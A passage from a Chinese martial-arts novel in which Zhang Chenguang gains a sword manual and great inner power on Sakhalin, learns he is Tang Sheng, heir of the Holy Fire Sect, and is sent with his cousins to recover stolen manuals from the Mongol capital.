次日一早,张志远带着三个儿子,和几名侍卫,乘船北上,直奔库页岛,行得半月左右,抵达库页岛,库页岛从远古时,即为中国领土,中国的历史上便有库页岛的记载,《山海经》中“毛民之国,为人身生毛”,就是指库页岛,东汉时期高诱称其岛上居民为“其人体半生毛”。 《三国志》中曾记载,中国东北边境的部落居民,身著鱼皮,遍身长毛,也是指生活在枯库页岛上的费雅喀人。 但唐朝之前,关于库页岛的消息,大部分来自东北南部地区的渔猎民族群体的道听途说,由于疆域范围还没涉及到东北地区,离库页岛十分遥远,所以和库页岛上的居民并没有建立联系。唐朝灭掉高句丽后,将唐朝的疆域势力范围扩大到东北地区,才开始真正踏足于库页岛。 唐朝在东北地区设立的黑水靺鞨都督府,其势力范围就包括了库页岛,库页岛的名称也得名于此时,因为直接受到唐朝控制的黑水靺鞨对于岛上的费雅喀人的称呼为窟出、屈设、莫曳皆或库页,所以得名库页岛。 辽代,库页岛属于辽国东京道的管辖范围。 金代,库页岛属于金国胡里改路的管辖范围。 元朝时期,库页岛属于辽阳行省水达达路管辖范围,此时又称为骨嵬。 明朝时期,库页岛又称“苦夷”或“苦兀”,属于明朝努尔干都司的管辖范围,在永乐年间,明朝著名宦官亦失哈曾经多次巡视努尔干都司,深入极北之地,并穿越鞑靼海峡,登上了库页岛,从此库页岛归入明朝版图,岛上居民通过朝贡方式向明朝表示效忠。 张志远等人下得船来,只见库页岛方圆百里有余,一眼望去,遥无边际,岛上冰天雪地,寒风刺骨,众人寻得一避风平坦处,扎下帐篷,起火做饭,第二天,张志远带着两个儿子,和几名待卫出营地,去搜寻宝物,因张晨光体弱,张志远命他和几名船夫留守帐篷,几日下来,张晨光只觉得无聊之极,走出帐篷在营地边玩耍,不远处跑来个小猴,冲着张晨光唧唧直叫,张晨光正觉无聊,,也就靠近小猴和它玩耍,没想到,刚玩一会,小猴见他腰间玉佩晶莹剔透,煞是好看,小猴趁张晨光不备,一把夺过玉佩,抽身就跑,张晨光一看,顿时急了,心想:“我这祖传玉佩,怎能让你抢走?”立马撒开脚丫就追,一人一猴,你追我赶,不知不觉中,已跑进深山老林之中,那小猴见总是摆脱不了张晨光,也感焦急,跑到一个山洞口,一头钻了进去,张晨光心系玉佩,也一头追进山洞,只见那山洞里面黑咕隆咚,张晨光打亮火折,在山洞中追了几百米后,前方已逐渐显出光亮,又行了几十米,眼前一亮,豁然开朗,一个百米方圆的深潭跃入眼帘,深潭旁一块巨石足有几丈高,小猴儿正奋力攀爬,张晨光紧追不舍,也追到巨石顶上,小猴儿见巨石顶上无处可逃,唯一下口又被张晨光堵住,只得把玉佩丢给张晨光,张晨光才让开道路,让小猴子离去,张晨光等小猴离去,定眼四处一望,才发现巨石靠近陡崖处,有一个人骨骷髅盘腿而坐,张晨光壮着胆子,上前一看,只见那骷髅上衣服还未风化,骷髅腿前有一块丝帛,上面写满文字,张晨光拿起丝帛一看,上面写道:“我乃昆仑派掌门灵真子,闻得库页岛在火龙参和碧海灵果,来岛寻找,耗费十年,寻遍一草一本,才寻得这碧水潭,和潭边火龙参,奈何这火龙参百年成熟一次,我苦等二十年未果,在坐化之际,火龙果还未成熟,只能叹造化弄人,有缘者若来此间,须向我叩首百次,拜我为师,学我昆仑派诛妖三十六式,匤扶侠义,光大昆仑。”张晨光心想:“我追猴儿前来,打扰这位前辈清修坐化,已是罪过,我自当叩首谢罪。”当即跪倒在地,对着灵真子叩首,足足叩了一百多次,耳边传来微响,只见灵真子身旁一块石头移开,现出一个洞口,张晨光大奇,定眼望去,只见洞内一个木匣和一柄宝剑,拿出来打开木匣一看,里面放着一本古剑谱,上书:“诛妖剑谱,张晨光又拿着宝剑,拨出一看,只觉得寒气逼人,张晨光随手一挥,宝剑到处,削石如泥,张晨光大喜,知此剑果然是上古神剑,心想:“我得了这位前辈的剑谱和宝剑,算是老前辈的隔世弟子,自然不能让师父遗骨荒野。”于是就把剑谱木匣放在一旁,用宝剑挖坑,准备收敛灵真子尸骨,正在此时,忽然听见下面碧水潭水流涌动,定睛一看,只见那碧水潭中,有一条百米白色巨蟒,正在游动,那白色巨蟒头上有一红色肉冠,如同王冠一般,张晨光吓了一跳,连忙紧缩身形,躲在巨石顶上一动不动,那白色巨蟒游到巨石下方,死盯着前方一株碧绿植物,只见那植物通身碧绿,只有顶部结了一个大火红果实,那果实还未熟透,大红中还带有一丝绿色,巨蟒垂涎欲滴,只待果实熟透,便要一口吞下,张晨光在巨石顶上看的真真切切,心想:“父亲说古书中的记录确实是真,那大红果实定是那火龙参,这碧水潭中还有那碧海灵果,但这条巨蟒显然也想吃火龙参,这如何是好?”正在心乱之时,只见巨蟒已经昂首,准备吞食参果,张晨光心想:“这火龙果百年才成熟一次,若让巨蟒吞了,我这体弱的病根,怕是无法治了,父亲和两个哥哥都是英雄豪杰,我若不能根治体弱,只怕一辈子都练不好武功,实在愧为张家子孙。”想到这,张晨光牙一咬,站起身形,持剑在手,瞅准巨蟒头顶,从巨石顶一跃而下,那巨蟒正在昂首,没曾想巨石顶上跃下一人,宝剑正砍中巨蟒头顶,一划而下,将巨蟒劈成两半,巨蟒拼命摆动身躯,也无济于事,不一会,就一命呜呼,张晨光一击得手,也是心头狂跳,直呼侥幸,再看那火龙参,果实已是熟透,张晨光伸手采摘在手,仔细一看,只感觉果皮火红奇香扑鼻,张晨光实在忍不住,一口咬去,只觉得满口奇香,香甜无比,从未尝过如此美味,于是三下五除二,把参果吃个精光,正在回味无穷,只感觉腹内火烧火燎,心中大惊,心想父亲所言,这火龙参至阳至热, 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片刻过后,张晨光只觉得腹内寒气刺骨,四肢和全身经脉却如同火焚,他想到父亲所言,立马坐下,气运丹田,把体内阴寒之气和经脉中的至阳之气齐运丹田,不一会,只感觉阴阳两气在丹田汇聚,越来越胀,张晨光大骇,忙依平日张志远所教,将丹田之气运往全身经脉,往日任督二脉坚如磐石,无法畅通,今日却让滚滚真气摧枯拉朽般一冲而过,张晨光心中大喜,忙又将全身真气引往奇经八脉,不一会,只感觉全身经脉畅通,体内真气充沛,丹田中阴阳两气不断融合,丹田鼓胀欲裂,张晨光忙又将丹田之气引往全身经脉,待丹田鼓胀之气消散,又将体内阴阳两气收聚丹田,如此来来往往数十次,全身经脉尽数畅通,所有阴阳两气全部调和,只感觉体内真气充盈,精气神十足,张晨光运功完毕后,心想老前辈尚未埋葬,便转身来到巨石下方,一个纵身,便要登石,没想到,往日拼尽全力,也只能跳个一丈左右,今日随便一跳,竟然跃到两丈多高,张晨光心中大喜,来到悬崖边,对灵真子遗骸三叩九拜,又用宝剑挖了个大坑,将灵真子安葬。待这波忙完,还未来得及休息片刻,只听得耳边隐约有人呼唤自己,张晨光听出是父亲哥哥的声音,忙拜别灵真子遗骸,沿着山洞返程。再说张志远和两个儿子,几名侍卫,又寻找大半天,一无所获,回到营地一看,不见张晨光踪影,几人大惊,问留守船夫,也是茫然,几人忙搜遍营地和周边,也未见有人踪迹和猛兽出没,纵然张志远稳重如山,也情不自禁的慌了神,几人只得分头寻找,张晨光出了山洞,听见父亲正用千里传音寻找自己,忙大声应答,二哥张晓光人称南海蝠王,千里追风,稍一辨析,立刻锁定张晨光方位,循声寻得张晨光,不消片刻,张志远和张皓光等人也已赶到,张志远见张晨光衣衫尽湿,赶紧带着张晨光返回营地,让人烧水让张晨光沐浴更衣,等张晨光沐浴更衣完毕,来到张志远帐篷之中,拜谢父亲和两个哥哥,张志远见三子原先脸色有点苍白,现在变了红润,双眸之中,神采奕奕,精气十足,不由有点奇怪,唤张晨光来到身前,伸手一搭张晨光脉门,只觉气息沉稳厚重,真气流转全身奇经八脉,不由大奇,问道:“晨光,今日发生何事?你速告诉为父。”张晨光毫无隐瞒,将今日发生的机缘,一五一十告诉父亲和两个哥哥,皓光晓光哥俩伸手一搭,见三弟内力纯厚,凭添二十年功力,也是啧啧称奇。第二天一早,张志远摒退侍卫,只带着三个儿子,由张晨光带路,回到昨日山洞之中,张志远看过丝帛上的文字,又拿过剑谱和宝剑,道:“这位灵真子,是昆仑派掌门,听说因机缘巧合,服用天山雪莲和昆仑山中参王,功力大增,练成了昆仑派失传已久的诛妖三十六式,剑气合一,罕逢敌手,灵真子痴心武学,倒也很少伤人,武林中人称之为剑痴,想必他也听说库页岛上有奇珍异果,所以来此搜寻,没想到造化弄人,守了二十年,火龙参也未成熟,晨光福缘深厚,机缘巧合寻得火龙参,杀死巨蟒,又得碧海灵果,自幼又习得阴阳调和之法,所以多了二十年功力,实是晨光之福。”张志远说完,又命两个儿子多寻泥石,将灵真子坟墓加高加厚,以示感谢,自己带着张晨光,来到巨蟒尸身旁,用剑解剖,不一会,找到巨蟒之胆,命张晨光服下,张晨光只觉腥气难闻,但又不愿违背父命,硬着头皮吞下,张志远对张晨光道:“晨光,你和为父将这巨蟒要害之处细细解剖,这巨蟒如此之大,应该已经活了几百年,这其中可能也吃过火龙参和碧海灵果,巨蟒体内应该有蛇丹。”张晨光闻言,和父亲张志远拿起宝剑,在巨蟒要害之处,细细解剖,果然,在巨蟒七寸处找到一粒光润如玉的红色蛇丹,张志远父子大喜,张志远命儿子将内丹服下,笑道:“晨光,自此以后,你不但可夜间视物,更可百毒不侵。”张晨光闻言,更是欣喜,张氏父子安葬好灵真子,从原路出了山洞,在洞口处做好暗记,用树木石块封住洞口,返回营地。又过一日,张志远安排好人手,收拾好帐篷等物,扬帆起航,返回南海。张夫人得到讯息,带着两个儿媳和三个孙子孙女,早早来迎接,一家人见面,自是其乐融融,唐玉儿听丈夫谈到张晨光的奇遇,更是欣喜万分。此后三年,张志远根据诛妖剑谱,因材施教,张晨光武功突飞猛进,一日千里,剑法内功,内外兼修,已是一等一的高手。这年二月初一,又到张晨光生日,加上张晨光已经年满十八周岁,又是成人礼,所以岛内张灯结彩,大肆庆贺,张晨光深感爷爷奶奶父母哥嫂的关爱,侄儿侄女的尊重,自感自己是天下最幸福之人。 26. 第 26 章 第二十六章蒙古夺宝 生日宴后第三天,张晨光起床,正要去练剑,仆人前来,说岛主召唤,张晨光放回宝剑,来到前堂大厅,只见父母和两个哥哥已经落座,那个长年累月在山洞里练武的怪二叔也在座,张晨光一进来,只觉得气氛凝重,上前躬身行礼,自行落座,张志远道:“晨光,今日叫你来,是有件大事要告诉你。”张晨光答道:“请父亲训示。”张志远道:“晨光,你可知,你父母是谁?”张晨光闻言,不由得一愣,道:“孩儿的父母不是您和母亲吗?”张志远摇摇头道:“晨光,其实你姓唐名晟,你的亲生父亲是圣火教教主唐旭儿,母亲名叫龚雅莲,我和你母亲其实是你的姑父姑母。”张晨光一听,大吃一惊,忙问唐玉儿:“娘,这是真的吗?”唐玉儿泪如泉涌,点了点头,张晨光看到母亲如此模样,脑海中闪过无数往事,从小到大,爷爷奶奶父母哥哥从未叱责自己一声,每次自己练武稍累一点,母亲都是宠爱心庝,动不动就抱着自己流泪,自己当时总以为母亲怜惜自己体弱,没想到母亲是睹自思人,想念起自己的父亲,张晨光稳稳心神,问道:“那孩儿的亲生父母,现在何处?”张志远叹口气道:“晨光,你可知道这位二叔是谁?”张晨光摇摇头,道:“从小到大,爹娘都让我喊他二叔,我不知道二叔的真实姓名和身份。”张志远道:“二叔名叫沈云,是你爷爷的徒弟,是你父亲的师弟,是他将你带到了岛上,当年的事,还是让沈叔叔告诉你吧。”一旁的沈云,缓和一下心情,便把十八年前,唐晟出生当天,圣火教遭遇突袭,教主唐旭儿托孤后,夫妻俩以身殉教,几百教众也一并遇害,一一道来,张晨光听完,只觉气血上涌,一阵头晕目眩,昏倒在地,大家慌作一团,连忙施救,张晨光悠悠醒来,只见姑姑正抱着自己,放声痛哭,张晨光泪流满面,泣不成声,张志远等妻子和张晨光平息心情后,道:“晨光,你已年满十八周岁,你是唐家唯一骨血,自当让你认祖归宗,如果你要为父母报仇,重振圣火教,可谓危险重重,千难万阻,如果你不愿回中原,可依旧在南海,和我们一同生活。”张晨光听完,对着张志远夫妇拜倒叩首,道:“父母之仇,不共戴天,孩儿岂能苟活世间,我既是唐家子孙,纵然粉身碎骨,也要重振圣火教,为父母报仇。”张志远等人听的此言,心想这孩子虽刚成年,骨子里倒是遗传唐旭儿的坚毅,唐玉儿也是百感交集,既担心复仇之路艰辛,又欣慰弟弟后继有人,唐玉儿思前想后,站起身形,来到张志远面前,扑通一声,跪倒在地,张志远大惊,连忙站起身形,要扶唐玉儿起身,口中道:“夫人何故如此?”唐玉儿却执意跪地不起,泪眼汪汪道:“夫君,晨光年幼,背负父母血仇,又要重振圣火教,千险万难,都要担负,我们夫妻三十年,我只求夫君答应我一件事。”张志远连忙道:“夫人请讲。”唐玉儿道:“我知道张家祖先曾立誓不再过问中原之事,但晨光自幼是我们抚养长大,如同张家子孙,我只求夫君答应我,如果晨光遇到生命危险,要让两个哥哥予以援手,保住晨光性命。”张志远心想:“晨光此去,危险重重,他刚成年,如果自己的两个儿子不帮扶一把,只怕这孩子有去无回,想到此处,张志远道:“夫人,我答应你,但皓光晓光只负责保护晨光性命安危,不插手圣火教重振事宜。”唐玉儿知道,今天所求,已经让丈夫为难,丈夫念及这么多年夫妻感情,和把晨光视为己出的情份,答应让两个儿子保护晨光生命安全,以后自然免不了让两个儿子常入中原,已经是有违祖训,唐玉儿感激丈夫恩义,只能频频向丈夫叩首,皓光晓光和晨光见母亲如此,也跟着母亲下跪,尤其是张晨光,更是感激姑妈恩义,伏在地上叩首不止,张志远拉起妻儿,让几人坐下,道:“晨光,从今天开始,你姓唐名晟,父母的血海深仇,重振圣火教的重担,就要靠你来背负,过几日你随沈叔叔重返中原,这些年,偷袭圣火崖,伤害你父母的贼人,消失的无影无踪,虽然我派人多方打探,也不见他们踪影,青龙会嫌疑最大,在圣火崖惨变当天,青龙会一众首脑都在少林寺为华山决斗死去的人做法事,虽然有不在场的证据,但是这件事,我总感觉十分蹊跷,青龙会一众首脑为什么要大老远去少林寺做法事?少林寺是武林各大门派之首,青龙会可能就是为了制造他们不在场的证据,而故意去少林寺做法事,圣火崖惨变,很可能是公孙世家或者青龙会收买勾结其他帮派所为,你回中原后,听沈叔叔安排,先聚拢教众,设法找到其他几位圣火天尊,聚齐九枚天尊令,然后再回圣火崖总舵,设法收伏凌风,坐上教主之位,圣火教五行卫,攻无不克战无不胜,名震天下,等你聚齐圣火教得力人手,掌握了五行卫,再想办法搜寻杀父仇人。”唐晟道:“孩儿牢记在心,谨遵父亲教诲。”张志远又道:“如今武林江湖中,帮派林立,少林武当昆仑点苍长白峨眉为六大派,加上丐帮和圣火教,合称为当今武林八大门派,公孙上官宇文南宫为武林四大世家,其中宇文世家成立了青龙会,当年在华山绝顶,青龙会的上一任会主宇文山率领手下四魔四煞,和你爷爷唐思源率领的圣火教八大法王决斗,双方全部战死,无一幸免,虽然现在青龙会明面上的当家主事之人是宇文峰宇文秀兄弟,但是实际上,很多大事都是他俩的母亲,青龙会的老夫人公孙芳在做主,这公孙芳是公孙世家上一任家主公孙宝的亲妹妹,现任辽东龙城镇北侯公孙荣的亲姑姑,公孙芳不但剑术高超,而且阴险毒辣诡计多端,日后与青龙会对敌,务必要小心提防公孙芳的阴谋诡计,这青龙会无恶不作臭名昭著,天怒人怨罄竹难书;最近这十几年,在青海湖一带崛起一个白虎帮,以贩卖青海湖私盐敛财,发展势头极猛,不但青海湖和祁连山一带,连河西走廊 也都在白虎帮势力范围之内,据我派人调查,白虎帮一众首脑姓何,但是不知道什么原因,和祁连山张氏一族关系却非常密切,很多张氏子弟都加入了白虎帮,而且白虎帮和公孙世家也有千丝万缕的关系;当年的圣火教烈火天尊雷清朗是武当派华阳道长高徒,下了圣火崖后,去京城发展,统一南北商会,并成立了玄武堂,据说成立之初,和青龙会也多次发生明争暗斗,雷清朗是武当派华阳道长高徒,背后有武当派撑腰,北商会的会长邓忠,是少林寺真传俗家弟子,少林寺自然也不会袖手旁观,所以青龙会偷鸡不成蚀把米,铩羽而败,雷清朗凭借南北商会的财力,为玄武堂招揽了很多江湖高手,为南北商会的生意保驾护航,玄武堂也因此一跃成为燕云一带势力最大的帮会;当年的圣火教紫木天尊沐平番是云南沐王府二公子,也是点苍派高徒,回云南昆明后,为了剿灭云南的青龙会,成立了朱雀门,将云南的青龙会分舵彻底铲除,沐王府乃是朱明朝廷镇守云南的封疆大吏,王侯之家,沐家军更是威震交趾,缅甸,澜沧诸国,有沐王府暗中撑腰,朱雀门在云南江湖一家独大,雄霸一方傲视西南;虽然青龙会和白虎帮,幕后主使和后台可能都是公孙世家,但是玄武堂和朱雀门却是当年圣火教的两位天尊创立,以后你务必团结玄武堂和朱雀门,让他们帮助你重振圣火教,南宫世家威震巴蜀,和峨眉派一向交好,为巴蜀武林领袖,当今武林江湖中,流传一句话:四海龙王,陆龙为大,这四海龙王指的是东海蛟龙徐思华,姑父承蒙武林中人抬爱,被称为南海神龙,西海苍龙混元法师,北海冰龙上官杰,和陆上龙王公孙荣,东海蛟龙徐思华是当年鄱阳湖三蛟中的老大,玉面蛟徐必先的后人,当年在鄱阳湖之战中,徐必师兄弟反出陈友谅大营,后来带两个师弟和族人,远赴海外琉球国,这位东海蛟龙徐思华,内抗明军外御倭寇,在东海一带,是响当当的人物,徐思华手下四个师弟:翻天蛟董明,倒海蛟董亮,兴风蛟秦威,破浪蛟秦猛,不但精通水性而且武艺超群,手下部众都是当年徐必先带去族人的后代,一个个武艺高强,水中本领更是非凡,雄踞琉球威慑东海;西海苍龙指的是西藏混元寺内,有一位鼎鼎大名的混元法师,一身混元气功出神入化,是西藏番王三代国师,这位混元法师,不但武艺高强,而且医术高明,为人光明磊落,处事仁心侠义,在西藏一带,德高望重,极受牧民爱戴景仰,所以被称为西海苍龙; 北海冰龙上官杰,先祖上官林,在铁木真时代,就为蒙古人效力,后来上官林之子上官胜,帮助忽必烈平定中原,得封地于北海,当年上官世家的家主上官英,被元朝封为神戟无敌大将军,他率十万蒙古精锐铁骑围困我太爷爷张士诚大吴国都府隆平府,被你太爷爷唐正阳和我爷爷张仁凤联手击败,上官英与你太爷爷唐正阳交手时,被你太爷爷打伤,逃回北海,现在的上官世家家主就是上官英的孙子上官杰,上官杰家传一对乾坤玄铁双戟,内外双修,不但戟法霸道精奇,而且内力深厚已然出神入化,打遍北国无敌手,称雄北海威震一方,纵横天下数十载,从未有过败绩,被称为北海冰龙,听说他有两个孩子,老大名叫上官龙,老二名叫上官凤,一身武艺,已经尽得上官杰真传,江湖人称北海双骄,乃天下武林江湖中,是屈指可数的翘楚英杰; 陆龙称王指的是辽东龙城镇北侯公孙荣,公孙世家崛起于三国年间,几代人呕心沥血,历时数十载,在辽东地区建立燕国,其先祖公孙渊自封燕王,鼎盛时期,拥兵二十万,雄霸辽东,并占据高丽西北之地,后来因为与曹魏对抗,被司马懿率军所灭,但公孙世家族中子弟武艺高强,剑法出神入化,燕国虽然被灭,但是公孙氏族中有很多子弟逃脱,公孙氏的家传剑法,源远流长,早在唐朝玄宗年间,公孙世家的公孙大娘,以西河剑器,剑器浑脱等剑舞名震天下,当时玄宗朝有位大将军裴旻,乃玄宗朝鼎鼎大名的金吾将军,武艺高强智勇双全,手中一柄七星剑,勇冠三军,纵横天下,为玄宗朝第一剑术高手,唐朝大诗人王维曾经作诗称赞:赠裴旻将军:腰间宝剑七星文,臂上雕弓百战勋。见说云中擒黠虏,始知天上有将军。据说有一次裴旻观看公孙大娘的剑舞后,大加赞赏,于是就与公孙大娘切磋比试一番,裴旻将军剑法气势恢宏威猛霸气,公孙大娘剑法却是刚柔并济变化万千,双方切磋比试了许久,竟是势均力敌不分伯仲,正是棋逢对手难相胜,将遇良才不敢骄,二人彼此钦佩一见如故,于是焚香结义为异姓兄妹,公孙大娘不但剑术通神,而且冰雪聪明,和裴旻切磋比试过后,回去潜心演练,创下一套冠绝一时的精妙剑法:《裴将军满堂势》,以裴旻乘风破浪,披荆斩棘,勇往直前的威猛剑法为基础,再加上公孙大娘剑法中的攻防兼备,柔韧绵密的精巧之势,所以这套剑法水火相济阴阳合一,灵活翔动刚柔有度,数百年来,都被公孙世家视为看家绝学,公孙世家自燕国被司马懿率军消灭后,后世子孙在辽东崇山峻岭之中蛰伏数百年,休养生息,元朝末年,当时的公孙世家当家人公孙文,公孙武兄弟趁着天下大乱,率领族中子弟兴兵作乱,占据了辽东一带,成为辽东之地一方霸主,兄弟二人不但本领出众武艺高强,而且文韬武略深谋远虑,在明朝朱元璋北伐之时,兄弟二人畏惧朱元璋兵多将广势力庞大,审时度势之后,率领辽东一带势力投靠朱元璋,然后自带兵马粮草,帮助朱明朝廷北伐,立下了不小的功劳,公孙文又将妹妹公孙燕和大批金银珠宝进献给了朱元璋,朱元璋得了美女和大批金银珠宝,自然对公孙文青眼有加,公孙燕入宫不久后,又为朱元璋生下一个儿子朱桂,因此被封为皇贵妃,因公孙家族久居东北,在东北地区,属于地头蛇一般的存在,朱元璋为了防范蒙古人南下,同时为了抵御高丽和女真,于是颁下诏书,命公孙世家镇守北疆,世代受封镇北侯,后来朱元璋杀戮功臣时,公孙家处处小心,加上公孙燕在宫中受宠,所以得以幸免,朱允炆削藩时,公孙世家两不相帮,置身事外,等到朱棣登基后,为考虑东北稳定,对公孙家族加以笼络,不但让公孙世家继续官居原职,镇守北疆,而且多加恩宠封赏不断,公孙世家在辽东龙城一带,苦心经营几百年,本来就根深蒂固势力庞大,现在又得朝廷恩宠,位居王侯,不但富可敌国,而且权势滔天,加上皇贵妃公孙燕之子代王朱桂,身为朱明朝廷皇子皇弟皇叔,他的正妃徐氏,乃明成祖朱棣的皇后徐皇后的亲妹妹,所以朱桂极得恩宠权势滔天,他在朝堂之上为公孙氏结交朝廷大员,因此这公孙荣比东海蛟龙徐思华,姑父,西海苍龙混元法师,北海冰龙上官杰,更多了几份权势和富贵,所以武林中人称公孙荣为陆上龙王,如今公孙荣既是公孙世家家主,又是朱明朝廷钦封的第三代镇北侯,虽然是八面威风踌躇满志,公孙荣兄弟五人,老大公孙荣世袭镇北侯,二弟公孙武,三弟公孙富,四弟公孙贵也被朱明朝廷封为将军,还有个老五叫公孙玉,但是这么多年,无论朝堂官场,还是武林江湖,都没有老五公孙玉的任何消息,我虽然派人多方打探,却是毫无公孙玉的踪迹,公孙世家雄踞辽东这么多年,连买带抢巧取豪夺,得到很多人参鹿茸,让族中子弟服用,养气培元,所以族中子弟武功内力精进,人才济济高手如云,无论是武功权势,还是财富人才,在四大世家和八大门派中,实力最为雄厚,为武林第一世家,公孙世家祖传剑法,不但精美绝伦,而且别具风格,武林中人练习武艺,讲究的是勤学苦练,熟能生巧,一招一式,都要一板一眼,不可有丝毫偏差,但是公孙剑法却另辟蹊径,据说公孙剑法练到高深处,讲究的是步身协调一致,剑式随意洒脱,身随心动,剑随意走,内外兼修,人剑合一,剑似龙蛇飞天意,心怀山海任我行,以无招胜有招,以随机应变的灵活运用之招,应对一板一眼的刻意拘泥之式,镇北侯公孙荣身为公孙世家家主,自然是尽得祖传剑法的精髓,剑法出神入化炉火纯青登峰造极,加上他又大量服用人参鹿茸养气培元,所以内力雄厚。隐然是中原武林屈指可数的顶尖高手,所以江湖中又流传几句话:四海之龙,龙王为大,剑法通神,陆龙为尊,天羽修仙,公孙称霸!金鹏不出,谁与争锋?这几句话中的天羽修仙和金鹏,指的就是你们的四祖师爷金翅大鹏叶天羽。”说到这,张志远夫妻相视一眼,心中暗暗叹了一口气,夫妻二人心里清楚:“此次唐晟返回中原,想为父母和教众报仇,但是公孙世家和青龙会势力庞大,如日中天,唐晟此去,定然是千险万阻,九死一生。”张志远接着道:“至于白虎帮,玄武堂,朱雀门,如今也是兵强马壮,在江湖上,也是称雄一方,实力也不容小觑,圣火教这十几年来,你小姑姑唐兰儿,和凌风成亲后,后来几年,生了一儿一女,就把教主之位,给了凌风,凌风当了圣火教教主后,借口圣火教因为当年惨变,大伤元气,而青龙会又有不在场的证据,所以这些年不但没有对青龙会展开报复,反而对青龙会在西北诸省大肆进行的□□买卖不管不问,此次你回到中原后,要多结交武林中侠义之士,凝聚力量,日后才能消灭青龙会和他的幕后主使,为你父母报仇,重振圣火教。”唐晟连连点头,道:“孩儿知道了。”张志远又道:“此去中原,首先要取得少林派的支持,中原武林正派,以少林为首,只要能争取到少林寺的支持,你们会事半功倍。”唐晟道:“姑父,现在的少林寺方丈,与我并不相识,如何肯倾力相助?”张志远道:“当年蒙古人入侵中原,建立元朝,江湖侠义之士奋起反抗,蒙古人知道少林武当是中原武林的泰山北斗,为了削弱中原武林,所以派兵抢了少林镇寺之宝易筋经,武当镇派之宝三丰笔记,这两部秘籍,现在流落在北元首府和林,被现在的蒙古大汗也先窃为己有,听说蒙古大汗也先在首府和林,建立九层高塔,塔前摆下擂台,由他长子巴尔库虎和两位国师坐镇,也先的两位国师,就是北海冰龙上官杰的两个孩子,江湖人称北海双骄的上官龙上官凤,听说也先之子巴尔库虎也出自北海冰龙上官杰门下,是上官杰的关门弟子,天赋异禀力大无穷,被蒙古人称作虎王,也先公告天下,擂台比武,胜者可取塔中武林秘籍,但是蒙古人生性狡诈,这其中定然有阴谋诡计,但自古以来,富贵险中求,我让你的两个哥哥,陪着你和沈叔叔前去和林,找机会夺回两部秘籍,现在的少林方丈本空大师,是上一任方丈玄业大师的大弟子,当年圣火教赤金天尊圆慧就是本空方丈的亲传弟子,本空大师原来也和你父亲相识,如果能从北元首府和林夺回易筋经和三丰笔记,你和沈叔叔家将易筋经送回少林寺,本空大师定然会助你一臂之力!武当派现在的掌门人是当年华阳道长的大弟子杜清泉,人称清泉道长,和你父亲也认识,你将三丰笔记归还武当,他定然也会助你一臂之力,他的师弟雷清朗就是当年圣火教烈火天尊,也是现在燕赵一带最大的帮会玄武堂堂主。”唐晟道:“孩儿知道了。”张志远又道:“晟儿,灵真子前辈所留宝剑,是昆仑派镇派之宝,你不可擅用,以免有所损伤,昆仑派老掌门黄向东已经作古,现在的掌门人是他的大弟子郑天英,日后你去昆仑派,将诛妖剑谱和宝剑归还给昆仑派,顺便请郑天英的师弟,也就是圣火教当年的碧水天尊宋天雄,帮助你们共商大事。”唐晟连连叩首道:“多谢姑父,多谢两位哥哥。”张志远又对沈云说:“沈兄弟,晟儿此去,千难万阻,凡事有劳沈兄弟多多费心,谨慎行事。”沈云答道:“姐夫放心,沈云自当万事小心,誓死守护晟儿周全。”张志远点点头,又对唐晟道:“晟儿,我已让你哥哥从库房取了十万两银票和一些南海珍珠,你随身携带自用,库房中还有百粒南海明珠,日后你回圣火崖时换成金银,作教务之用。”唐晟知道,这百粒南海明珠,是张家几代人,在南海寻得的极品,每粒价值百两黄金,当即拜倒在地,道:“姑父,这百粒南海明珠,是张家宝物,晟儿万万不敢收下。”张志远夫妻相视一眼,心想这孩子不愧是唐旭儿之骨血,对价值万两黄金的百粒明珠竟毫不动心坚决不收,是个干大事的英雄侠义风范,张志远道:“我和你母亲,已经和你两个哥哥说过了,他们也都同意,日后需要用钱的地方很多,你就不必推辞了。”唐晟心想:“我已经认祖归宗,回归唐姓,怎能贪图张家宝物,男子汉大丈夫,自当自己建功立业,姑父姑姑一片好意,我先答应,日后自己不取便是。”想到这,唐晟又拜谢张志远夫妇和两位哥哥厚爱。 第二天一早,唐晟和沈云,张皓光张晓光一行四人,备好行李,张志远夫妻带着两个儿媳,几个孙子孙女,来为四人送行,唐玉儿已是抑制不住情感,泪流不止,拉着唐晟的手,千叮咛万嘱咐,张皓光发出啸声,招来四头南海巨鹰,唐晟和沈云,张皓光张晓光四人骑上巨鹰,直奔和林而去。 话说北元首府和林,现在的蒙古大汗为也先大汗,也先性格残忍暴烈,为了统一蒙古,四处派兵讨伐蒙古各个部落,顺者昌,逆者亡,很多被也先镇压的部落,不愿归顺也先,于是聚集在燕然山一带,燕然山现在叫杭爱山,位于蒙古国首都乌兰巴托的西南,东南走向,是一座绵延七百公里的巨大山脉,一年四季雨水充沛,水草丰美,因此,古代的游牧帝国往往会建都于此。燕然山作为汉族抗击匈奴的前线,频繁出现在古诗中,例如王维《使至塞上》“萧关逢候骑,都护在燕然”,李白《发白马》“倚剑登燕然,边峰列嵯峨”等。范仲淹《渔家傲·秋思》中的名句“浊酒一杯家万里,燕然未勒归无计”,借用的便是《燕然山铭》刻石之事。 这些不愿意归顺也先的部落,在燕然山占山为王,落草为寇,抗击也先的暴政,为首五人称为燕然五虎,老大上山虎巴图,老二下山虎苏日格,老三出林虎吉尔布,老四跳涧虎桑杰,老五踏峰虎哲木台,这五虎,聚拢了两千部众,在燕然山为匪,不听也先号令,处处与也先作对,也先虽然多次派兵围剿,但五虎武艺高超,手下部众又十分勇猛,所以也先多次征剿,也无功而返,这燕然五虎在燕然山,日子过的是逍遥自在,这日,五虎正在聚义厅喝酒,一名手下匆匆进来,拱手施礼道:“五位当家的,离我们燕然山东面三十里开外,有一帮团队,赶着几千只羊,几百头牛,近百匹骏马,正在缓慢前行。”老大上山虎巴图问道:“你可打探清楚,这帮人是什么来头?”手下回道:“听说是也先的儿子巴尔库虎,从北海上官世家学艺归来,也先为了给他儿子接风,设宴邀请部落首领,所以各地的部落都派人送去贺礼,这批牛羊是燕然山东面的木林部落,送给也先儿子的贺礼。”上山虎巴图又问道:“你可曾打探清楚,送贺礼的有多少人?”手下回道:“送贺礼的,加上驱赶牛羊的,大概有两百人,我们远远望去大部分都是一些牧人,只有极少数的骑兵护卫。”上山虎巴图道:“好,这次木林部落给也先儿子的贺礼,我们偏要把这贺礼抢来,让也先不痛快,哪位兄弟愿意带人前去?”老二下山虎苏日格站起身,道:“大哥你在山寨中休息,我带三弟,四弟前去,上山虎巴图道:“好,你带三弟,四弟和一千名部众前去,如果有什么情况,及时发讯号,我和五弟定会前去支援。”老二下山虎苏日格呵呵一笑道:“大哥,你放心好了。”说罢,带领老三出林虎吉尔布,老四跳涧虎桑杰,点了